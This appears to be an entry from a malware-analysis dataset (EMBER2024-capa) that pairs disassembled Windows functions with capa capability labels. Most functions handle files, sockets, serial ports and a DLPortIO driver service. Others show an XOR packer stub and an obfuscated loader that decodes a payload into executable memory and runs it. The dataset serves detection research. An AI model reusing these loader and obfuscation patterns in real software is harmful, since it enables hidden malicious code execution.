joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100049b5
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov dword [ebp - 0xc], 0x3e8
mov dword [0x10024b1c], 1
mov dword [0x10029b24], 1
mov eax, dword [ebp + 8]
push eax
call fcn.1000ef40
add esp, 4
test eax, eax
jne 0x100049f3
mov eax, 0x3ea
jmp 0x10004bdc
cmp dword [0x1001fb18], 0
jne 0x10004a06
mov eax, 0x3f5
jmp 0x10004bdc
push 0
push 0
push 3
push 0
push 0
push bind
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0xffffffff
jne 0x10004a38
mov eax, 0x3eb
jmp 0x10004bdc
push 0x400
push 0
lea edx, [ebp - 0x414]
push edx
call fcn.1000f350
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
ja 0x10004a7f
mov edx, dword [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x3e9
jmp 0x10004bdc
mov dword [ebp - 0x10], 0
jmp 0x10004a91
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
shr ecx, 0xa
cmp dword [ebp - 0x10], ecx
jae 0x10004b33
push 0
lea edx, [ebp - 4]
push edx
push 0x400
lea eax, [ebp - 0x414]
push eax
mov ecx, dword [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 4], 0x400
je 0x10004adf
mov edx, dword [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x3ec
jmp 0x10004bdc
mov dword [0x10024b1c], 1
mov dword [0x10029b24], 1
mov eax, dword [0x1001fb18]
push eax
push 0x400
lea ecx, [ebp - 0x414]
push ecx
call fcn.100021c0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x3e8
je 0x10004b2e
mov edx, dword [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
jmp 0x10004bdc
jmp 0x10004a88
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 8]
xor edx, edx
mov ecx, 0x400
div ecx
push edx
lea edx, [ebp - 0x414]
push edx
mov eax, dword [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 8]
xor edx, edx
mov ecx, 0x400
div ecx
cmp dword [ebp - 4], edx
je 0x10004b7f
mov edx, dword [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x3ec
jmp 0x10004bdc
mov dword [0x10024b1c], 1
mov dword [0x10029b24], 1
mov eax, dword [0x1001fb18]
push eax
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x414]
push edx
call fcn.100021c0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x3e8
je 0x10004bca
mov eax, dword [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
jmp 0x10004bdc
mov ecx, dword [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x3e8
mov esp, ebp
pop ebp
ret 4
Function at 0x1000b1ff
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push 3
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.1000f350
add esp, 0xc
push 3
push 0
lea ecx, [ebp - 8]
push ecx
call fcn.1000f350
add esp, 0xc
push 2
push 0x1001c9e4
lea edx, [ebp - 8]
push edx
call fcn.1000f2f5
add esp, 0xc
cmp dword [0x10017050], 0xffffffff
jne 0x1000b24b
mov eax, 0x3f5
jmp 0x1000b321
push 8
mov eax, dword [0x10017050]
push eax
call dword [sym.imp.KERNEL32.dll_PurgeComm]
test eax, eax
jne 0x1000b267
mov eax, 0x3e9
jmp 0x1000b321
push 0
lea ecx, [ebp - 0x10]
push ecx
push 2
lea edx, [ebp - 8]
push edx
mov eax, dword [0x10017050]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000b28d
mov eax, 0x3e9
jmp 0x1000b321
cmp dword [ebp - 0x10], 2
je 0x1000b29d
mov eax, 0x3e9
jmp 0x1000b321
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x7d0
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x1c]
jl 0x1000b30d
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [0x10017050]
push edx
call dword [sym.imp.KERNEL32.dll_ClearCommError]
cmp dword [ebp - 0x24], 1
jb 0x1000b30b
push 0
lea eax, [ebp - 4]
push eax
push 1
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [0x10017050]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1000b2f9
mov eax, 0x3e9
jmp 0x1000b321
movsx eax, byte [ebp - 0x14]
cmp eax, 0x59
je 0x1000b309
mov eax, 0x3e9
jmp 0x1000b321
jmp 0x1000b30d
jmp 0x1000b2b2
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0xc]
jle 0x1000b31c
mov eax, 0x3f2
jmp 0x1000b321
mov eax, 0x3e8
mov esp, ebp
pop ebp
ret
Function at 0x1000cf10
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1bc
mov dword [ebp - 0x19c], 0
mov eax, 1
test eax, eax
je 0x1000cf6b
mov ecx, dword [ebp - 0x19c]
cmp dword [ecx*4 + 0x1001caa0], 0xffffffff
jne 0x1000cf46
mov eax, 0xfffffffe
jmp 0x1000d169
mov edx, dword [ebp - 0x19c]
mov eax, dword [ebp + 8]
cmp eax, dword [edx*4 + 0x1001caa0]
jne 0x1000cf5a
jmp 0x1000cf6b
mov ecx, dword [ebp - 0x19c]
add ecx, 1
mov dword [ebp - 0x19c], ecx
jmp 0x1000cf23
cmp dword [ebp + 8], 1
je 0x1000cf77
cmp dword [ebp + 8], 2
jne 0x1000cf8d
cmp dword [ebp + 0xc], 0
je 0x1000cf8d
cmp dword [ebp + 0xc], 1
je 0x1000cf8d
mov eax, 0xfffffffe
jmp 0x1000d169
lea edx, [ebp - 0x194]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1000cfb1
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
jmp 0x1000d169
mov dword [ebp - 0x198], 0xffffffff
mov dword [ebp - 4], 1
cmp dword [ebp + 8], 0
jne 0x1000cfda
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x198], eax
cmp dword [ebp + 8], 1
jne 0x1000cff2
push 0
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x198], eax
cmp dword [ebp + 8], 2
jne 0x1000d00d
push 0x3e8
push 2
push 6
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0xffffffff
jne 0x1000d01e
or eax, 0xffffffff
jmp 0x1000d169
cmp dword [ebp + 8], 1
je 0x1000d02a
cmp dword [ebp + 8], 2
jne 0x1000d064
cmp dword [ebp + 0xc], 1
jne 0x1000d064
push 4
lea eax, [ebp - 4]
push eax
push 0x20
push 0xffff
mov ecx, dword [ebp - 0x198]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x1000d064
mov edx, dword [ebp - 0x198]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x1000d169
cmp dword [ebp + 8], 0
je 0x1000d070
cmp dword [ebp + 8], 1
jne 0x1000d0d8
push 0x10
push 0
lea eax, [ebp - 0x1ac]
push eax
call fcn.1000f350
add esp, 0xc
mov cx, word [ebp + 0x10]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1aa], ax
mov dword [ebp - 0x1a8], 0
mov word [ebp - 0x1ac], 2
push 0x10
lea edx, [ebp - 0x1ac]
push edx
mov eax, dword [ebp - 0x198]
push eax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x1000d0d8
mov ecx, dword [ebp - 0x198]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x1000d169
cmp dword [ebp + 8], 2
jne 0x1000d163
push 0xe
push 0
lea edx, [ebp - 0x1bc]
push edx
call fcn.1000f350
add esp, 0xc
mov word [ebp - 0x1bc], 6
mov ax, word [ebp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1b0], ax
push 4
push 0
lea ecx, [ebp - 0x1ba]
push ecx
call fcn.1000f350
add esp, 0xc
push 6
push 0
lea edx, [ebp - 0x1b6]
push edx
call fcn.1000f350
add esp, 0xc
push 0xe
lea eax, [ebp - 0x1bc]
push eax
mov ecx, dword [ebp - 0x198]
push ecx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x1000d163
mov edx, dword [ebp - 0x198]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x1000d169
mov eax, dword [ebp - 0x198]
mov esp, ebp
pop ebp
ret
Function at 0x1000d3a1
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
cmp dword [ebp + 8], 0xffffffff
je 0x1000d3bc
cmp dword [ebp + 0x10], 0
jle 0x1000d3bc
cmp dword [ebp + 0x14], 0
jge 0x1000d3c6
mov eax, 0xfffffffe
jmp 0x1000d4f8
mov dword [ebp - 0x10c], 0
cmp dword [ebp + 0x14], 0
jne 0x1000d3e2
mov dword [ebp - 0x108], 0x4c4b40
jmp 0x1000d3f1
mov eax, dword [ebp + 0x14]
imul eax, eax, 0x3e8
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x214], 0
jmp 0x1000d420
mov ecx, dword [ebp - 0x214]
add ecx, 1
mov dword [ebp - 0x214], ecx
mov edx, dword [ebp - 0x214]
cmp edx, dword [ebp - 0x210]
jae 0x1000d444
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp + eax*4 - 0x20c]
cmp ecx, dword [ebp + 8]
jne 0x1000d442
jmp 0x1000d444
jmp 0x1000d411
mov edx, dword [ebp - 0x214]
cmp edx, dword [ebp - 0x210]
jne 0x1000d47a
cmp dword [ebp - 0x210], 0x40
jae 0x1000d47a
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x20c], ecx
mov edx, dword [ebp - 0x210]
add edx, 1
mov dword [ebp - 0x210], edx
xor eax, eax
test eax, eax
jne 0x1000d405
lea ecx, [ebp - 0x10c]
push ecx
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x210]
push eax
push 0
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x1000d4af
mov eax, 0xfffffffd
jmp 0x1000d4f8
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x1000d4c8
or eax, 0xffffffff
jmp 0x1000d4f8
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x218], eax
mov ecx, dword [ebp - 0x218]
cmp ecx, dword [ebp + 0x10]
je 0x1000d4f2
or eax, 0xffffffff
jmp 0x1000d4f8
mov eax, dword [ebp - 0x218]
mov esp, ebp
pop ebp
ret
Function at 0x1000d4fc
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
cmp dword [ebp + 8], 0xffffffff
je 0x1000d517
cmp dword [ebp + 0x10], 0
jle 0x1000d517
cmp dword [ebp + 0x14], 0
jge 0x1000d521
mov eax, 0xfffffffe
jmp 0x1000d651
mov dword [ebp - 0x10c], 0
cmp dword [ebp + 0x14], 0
jne 0x1000d53d
mov dword [ebp - 0x108], 0x4c4b40
jmp 0x1000d54c
mov eax, dword [ebp + 0x14]
imul eax, eax, 0x3e8
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x214], 0
jmp 0x1000d571
mov ecx, dword [ebp - 0x214]
add ecx, 1
mov dword [ebp - 0x214], ecx
mov edx, dword [ebp - 0x214]
cmp edx, dword [ebp - 0x210]
jae 0x1000d595
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp + eax*4 - 0x20c]
cmp ecx, dword [ebp + 8]
jne 0x1000d593
jmp 0x1000d595
jmp 0x1000d562
mov edx, dword [ebp - 0x214]
cmp edx, dword [ebp - 0x210]
jne 0x1000d5cb
cmp dword [ebp - 0x210], 0x40
jae 0x1000d5cb
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x20c], ecx
mov edx, dword [ebp - 0x210]
add edx, 1
mov dword [ebp - 0x210], edx
xor eax, eax
test eax, eax
jne 0x1000d556
mov dword [ebp - 0x104], 0
lea ecx, [ebp - 0x10c]
push ecx
lea edx, [ebp - 0x104]
push edx
push 0
lea eax, [ebp - 0x210]
push eax
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x1000d60a
mov eax, 0xfffffffd
jmp 0x1000d651
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x1000d623
or eax, 0xffffffff
jmp 0x1000d651
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0xffffffff
jne 0x1000d64b
or eax, 0xffffffff
jmp 0x1000d651
mov eax, dword [ebp - 0x218]
mov esp, ebp
pop ebp
ret
Function at 0x1000d8b6
Capabilities:
Check for time delay via gettickcount
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 8], 0xffffffff
jne 0x1000d8cc
mov eax, 0x3ea
jmp 0x1000d974
cmp dword [ebp + 0x10], 0
jg 0x1000d8dc
mov eax, 0x3ea
jmp 0x1000d974
cmp dword [ebp + 0x18], 0
jg 0x1000d8e9
mov dword [ebp + 0x18], 0x7d0
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add eax, dword [ebp + 0x18]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0xc]
jge 0x1000d953
push 0
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000d940
mov eax, 0x3e9
jmp 0x1000d974
cmp dword [ebp + 0x14], 0
jbe 0x1000d948
jmp 0x1000d953
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
jmp 0x1000d910
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jl 0x1000d96f
cmp dword [ebp + 0x14], 0
ja 0x1000d968
mov eax, 0x3f2
jmp 0x1000d974
mov eax, 0x3e8
jmp 0x1000d974
mov eax, 0x3e8
mov esp, ebp
pop ebp
ret

Function at 0x1000d9b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push 0x94
push 0
lea eax, [ebp - 0x94]
push eax
call fcn.1000f350
add esp, 0xc
mov dword [ebp - 0x94], 0x94
lea ecx, [ebp - 0x94]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
xor edx, edx
cmp dword [ebp - 0x84], 2
sete dl
mov byte [0x10029e28], dl
push 0x104
push 0x10029d1c
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.DRIVERS
push 0x10029d1c
call fcn.1000f490
add esp, 8
push 0x10029e2c
push 0x10029c18
call fcn.1000f480
add esp, 8
mov byte [0x10029e2a], 0
mov byte [0x10029e29], 1
push 0x10029e30
push 0x10029bb4
call fcn.1000f480
add esp, 8
mov eax, dword [ebp + 8]
push eax
push 1
call fcn.1000e602
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x1000db0e
Capabilities:
Create service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov dword [ebp - 0x108], 0
mov byte [0x10029bb1], 0
push 0x10029d1c
lea eax, [ebp - 0x104]
push eax
call fcn.1000f480
add esp, 8
push 0x1001cb38
lea ecx, [ebp - 0x104]
push ecx
call fcn.1000f490
add esp, 8
mov edx, dword [str.DLPortIO]
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.1000f490
add esp, 8
push str..SYS
lea ecx, [ebp - 0x104]
push ecx
call fcn.1000f490
add esp, 8
push 4
mov edx, dword [str.DLPortIO]
push edx
mov eax, dword [0x10029e20]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x1000dbb9
mov byte [0x10029bb1], 1
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, 1
jmp 0x1000dc4c
push 0
push 0
push 0
push 0
mov edx, dword [str.SST_miniport_drivers]
push edx
lea eax, [ebp - 0x104]
push eax
push 1
push 3
push 1
push 0x10034
mov ecx, dword [str.DriverLINX_Port_I_O_Driver]
push ecx
mov edx, dword [str.DLPortIO]
push edx
mov eax, dword [0x10029e20]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x1000dc11
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x108], eax
jmp 0x1000dc1e
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [ebp - 0x108], 0
je 0x1000dc40
mov edx, dword [ebp - 0x108]
push edx
push str.DriverInstall:_Error__d
push 0x10029bb4
call fcn.1000f2f5
add esp, 0xc
xor eax, eax
cmp dword [ebp - 0x108], 0
sete al
mov esp, ebp
pop ebp
ret
Function at 0x1000dc50
Capabilities:
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov byte [0x10029bb0], 0
push 4
mov eax, dword [str.DLPortIO]
push eax
mov ecx, dword [0x10029e20]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000dd0e
lea edx, [ebp - 0x24]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x1000dd0e
cmp dword [ebp - 0x20], 4
jne 0x1000dcb6
mov byte [0x10029bb0], 1
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, 1
jmp 0x1000dd3c
cmp dword [ebp - 0x20], 1
jne 0x1000dd05
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x10
mov eax, dword [str.DLPortIO]
push eax
mov ecx, dword [0x10029e20]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 8], eax
push 0
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x1000dcf9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1000dd0c
mov dword [ebp - 4], 0xffffffff
jmp 0x1000dd17
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000dd33
mov ecx, dword [ebp - 4]
push ecx
push str.DriverStart:_Error__d
push 0x10029bb4
call fcn.1000f2f5
add esp, 0xc
xor eax, eax
cmp dword [ebp - 4], 0
sete al
mov esp, ebp
pop ebp
ret

Function at 0x1000dd40
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
xor eax, eax
mov al, byte [0x10029bb0]
test eax, eax
je 0x1000dd5c
mov al, 1
jmp 0x1000ddd2
push 0x24
mov ecx, dword [str.DLPortIO]
push ecx
mov edx, dword [0x10029e20]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000dda4
lea eax, [ebp - 0x24]
push eax
push 1
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x1000dd98
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1000ddad
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000ddc9
mov eax, dword [ebp - 4]
push eax
push str.DriverStop:_Error__d
push 0x10029bb4
call fcn.1000f2f5
add esp, 0xc
xor eax, eax
cmp dword [ebp - 4], 0
sete al
mov esp, ebp
pop ebp
ret
Function at 0x1000ddd6
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
xor eax, eax
mov al, byte [0x10029bb1]
test eax, eax
je 0x1000ddf2
mov al, 1
jmp 0x1000de65
push 0x10000
mov ecx, dword [str.DLPortIO]
push ecx
mov edx, dword [0x10029e20]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000de37
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x1000de2b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1000de40
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000de5c
mov edx, dword [ebp - 4]
push edx
push str.DriverRemove:_Error__d
push 0x10029bb4
call fcn.1000f2f5
add esp, 0xc
xor eax, eax
cmp dword [ebp - 4], 0
sete al
mov esp, ebp
pop ebp
ret
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ecc
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x77df163b
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x244f325d
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
push str._JAVA_LAUNCHER_DEBUG
call fcn.00408d33
pop ecx
test eax, eax
je 0x401046
push str.Windows_original_main_args:_n
call fcn.00408bef
xor esi, esi
pop ecx
cmp dword [0x425628], esi
jle 0x401046
mov eax, dword [0x42562c]
push dword [eax + esi*4]
push esi
push str.wwwd_args__d____s_n
call fcn.00408bef
add esp, 0xc
inc esi
cmp esi, dword [0x425628]
jl 0x401027
call dword [sym.imp.kernel32.dll_GetCommandLineA]
push eax
call fcn.00401b71
call fcn.0040392e
mov edi, eax
lea eax, [edi*4 + 4]
push eax
call fcn.004039b0
pop ecx
pop ecx
mov esi, eax
call fcn.00403934
xor ecx, ecx
test edi, edi
jle 0x401080
mov edx, dword [eax + ecx*8]
mov dword [esi + ecx*4], edx
inc ecx
cmp ecx, edi
jl 0x401075
mov eax, dword [0x424010]
and dword [esi + ecx*4], 0
mov ebx, eax
test eax, eax
jne 0x401091
mov ebx, dword [esi]
mov ecx, dword [0x42400c]
test ecx, ecx
jne 0x40109d
mov ecx, dword [esi]
mov eax, dword [0x425420]
push 0
push 0
push 1
test eax, eax
setne dl
movzx edx, dl
push edx
push ebx
push ecx
push 0x41c24c
push 0x41c23c
push dword [0x425424]
push 1
push eax
push 1
push esi
push edi
call fcn.00403472
add esp, 0x38
pop edi
pop esi
pop ebx
ret

Function at 0x401b71
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x401b80
pop dword [ebp - 0x30]
mov eax, 0x401b80
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xf7f395c7
sub dword [ebp - 0x40], 0xa9a1507c
mov dword [ebp - 0x3c], 0xfe4a0481
add dword [ebp - 0x3c], 0x33e947c4
mov dword [ebp - 0x38], 0x5ce1b64a
sub dword [ebp - 0x38], 0x1095721c
mov dword [ebp - 0x34], 0xaf8d5575
sub dword [ebp - 0x34], 0xaf8d5575
lea eax, [ebp - 0x40]
push eax
mov eax, 0xbe809178
add eax, 0x41c12ed8
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x47d65f17
add dword [ebp - 0x40], 0x2c9c0a3f
mov dword [ebp - 0x3c], 0x31af9747
add dword [ebp - 0x3c], 0xfbcca2e
mov dword [ebp - 0x38], 0xec72b524
add dword [ebp - 0x38], 0x76fcb748
mov dword [ebp - 0x34], 0xc2bdebce
add dword [ebp - 0x34], 0x3d421432
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xe4ad6dd2
sub eax, 0xe46bad86
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3b2cc
push 0
call eax
mov ecx, 0x4652
xor ebx, ebx
add ebx, eax
mov edx, 0xaf6e7ee3
add edx, 0x50d4ab1d
add edx, dword [ebp - 0x30]
mov edi, 0x812ef039
xor dword [ebp - 0x2c], esi
mov esi, dword [edx]
add dword [ebp - 0x28], 0xb8bc77d6
sub esi, edi
add dword [ebp - 0x2c], ecx
mov dword [ebx], esi
sub dword [ebp - 0x18], ecx
add ebx, 4
add edx, 0x6f64900c
add edx, 0x909b6ff8
loop 0x401c93
add eax, 0x10c1b
mov ebx, eax
add eax, 0xa5a66b31
sub eax, 0xa5a66b2c
mov ecx, 0x400000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret